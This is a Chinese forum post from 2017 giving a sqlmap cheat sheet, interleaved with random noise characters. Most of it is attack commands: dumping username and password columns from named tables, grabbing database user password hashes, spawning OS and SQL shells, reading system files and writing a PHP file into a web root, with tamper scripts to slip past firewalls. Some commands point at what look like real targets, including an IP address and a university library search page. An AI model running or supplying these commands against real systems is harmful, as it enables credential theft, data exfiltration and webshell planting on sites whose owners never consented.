找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1874|回复: 0
打印 上一主题 下一主题

sqlmap使用实例

[复制链接]
跳转到指定楼层
楼主
发表于 2017-5-19 17:03:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/pentest/database/sqlmap
4 ?4 ]& k+ }6 ^1 D$ o: n! j. K4 H: K& `0 I8 i. T1 M4 _; o
update :::::>     in the folder   after  execute    following   order : svn update
6 x/ b# t- q( I, i2 k$ N7 F6 L1 _7 _4 [4 E) U
sqlmap.py -r 1.txt --current-db
  F: {/ x1 T; m/ o  |/ J2 K
6 s# W# g+ q4 b+ yv 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”
; v$ Z/ j+ n6 o4 A. L9 Z; x3 w. m/ j! ?9 B" k6 m
==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) 8 G' K7 I. s- T+ M- j9 M5 {( d
猜解数据库' X2 \! r1 ]: W  }; ]
./sqlmap.py -u "injection-url" --dbs+ n0 I  D/ T7 x* G5 o  d5 F+ T& s
sqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"# ~9 E# t; q. W# x3 W# M
3 y( U5 K+ Z% ?$ ?( a" |/ G
猜解表名
" ^* Z4 C4 U! R$ o8 g- K./sqlmap.py -u "injection-url" -D database_name --tables! T: J6 q& F4 s5 l5 Z2 C

- S6 k$ D" |5 Gsqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"
7 ]. [2 [2 F* V/ z% z' Nsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py"
: ?  \2 \3 @+ K3 x* e$ H& |' C9 U2 h4 g, }" G: d, U- f
sqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump2 c( o4 q5 t  t$ C  W

1 B2 T) l8 Y' [sqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"2 G! H9 p0 V8 p8 r2 b
sqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py") u0 x/ p4 Q: `5 E4 h2 j
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py"
3 {7 ~0 ~9 g! J! T# O+ dsqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"% O, l8 L. B! q/ |, v$ H

4 U& r8 v6 c% H* @. Y' N$ _, k  v6 Usqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"
- c8 t) k" ^( }* s9 v8 k- esqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"5 i& w" ?3 R5 n0 s
sqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"
) O( Q9 @  j! X1 y  ]/ Bsqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"; J3 [8 h" h. x# P$ J* J
sqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump; `& N( N9 }5 T! C8 g4 ]
$ L% P* v0 I8 K) _' ^
sqlmap.py -r 1.txt -v 3 --dbs  --batch --tamper "space2morehash.py" 绕过防火墙了7 Z2 Y% ]) F; U# R2 E/ ~
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"
; S' x6 ~9 a9 F( V/ p0 O5 _
0 ]# j! \) i" Q! {! ]6 a; ksqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"8 r* I* S* t* y  j
猜解列名
* |7 V) z+ m7 ^- q9 A* C- O./sqlmap.py -u "injection-url" -D database_name -T table_name --columns
" j% B8 C: |  F) ]. S. Y3 d1 h8 w% a/ A( Y% R7 t* a4 J
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py"   U" w5 n  ?  i4 b
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py"
$ U& i/ X$ t) K0 ~" \sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"
3 w# I1 `" d! h0 q4 o+ v( l$ Y" l& i3 I2 ^2 Q$ O* ?; F! N
sqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"
: S: ^' X" {8 a* V&submit=Go6 p" r7 ]1 T$ n( L; E8 {; O
猜解值  N' l4 `9 {8 E- D' W
./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump+ B* w0 M3 [! m: s) g
========================================================" O" [. N( z7 s2 f8 l% Y
搜索表名中包括mana字符的' k# Z' O' U3 B
/sqlmap.py -u "injection-url" -T mana --search5 \# G- m' a) I
返回一个交互式sql shell9 ~' ^0 \+ s& i* Y
/sqlmap.py -u "injection-url" --sql-shell# Z! A( z: U6 Y7 @/ x2 b" |
读取指定文件(需权限)' ]% S. X  L* \1 D8 v; b
/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"
: d. o- C; U+ L/ d查看当前 用户 及 数据库 / m% n& H; q3 W. E
/sqlmap.py -u "injection-url" --current-user --current-db6 ^6 p' `. |: o$ z5 U
本地文件 写入 远程目标绝对路径+ ]# a9 ]. v2 b9 d# ^9 }
/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径0 p4 L' [/ l0 g- O# Q( d
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py" / p1 Y% n4 D$ G7 @) {
0 D. Q# z8 Z7 n, g4 T
sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径9 N9 W2 D0 ]5 K9 Q: R
查看某用的权限
& o, R. v- x1 m: t* z, K/sqlmap.py -u "injection-url" --privileges -U root6 B2 G# D2 a2 ?2 o8 {4 o
查看当前用户是否为dba$ U9 {& ~/ T3 Y# H* T) V7 P* v
/sqlmap.py -u "injection-url" --is-dba
  ]1 ?) ~% U( U( ^. H读取所有数据库用户或指定数据库用户的密码
; @3 r; b, s: ?/ Xsqlmap.py -r 1.txt --users --passwords
% U  C' ^5 ^/ L* A0 F- T% Gsqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py"
6 V$ l, [$ |: d. C. U2 O  d  X6 c, D, d& F+ V5 a; ~: e7 o
/sqlmap.py -u "injection-url" --passwords -U root
8 ]# T  j, K7 @6 ], u& t- Q
' _2 d4 f7 I0 k% l--start&&--stop 与 --first&&--last 的区别2 c2 P4 C) P" K: z  r! x
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump   (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)
8 j7 K- G" Z0 G' [9 [8 ^& ?  W& g# y+ N" ~3 h2 H
从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)
, w- O0 B5 S$ W& t+ B/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables
' c- v+ L% J; c+ n; C/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns
6 _  y- I, u1 E( |# u6 Y) i9 B7 m2 y; t; @' P. g) _
执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)9 n* j* z8 ~; r7 w! w, H* u
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"& W/ K' f6 J* K! }5 i1 _: C

* }+ m, }" Q  q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表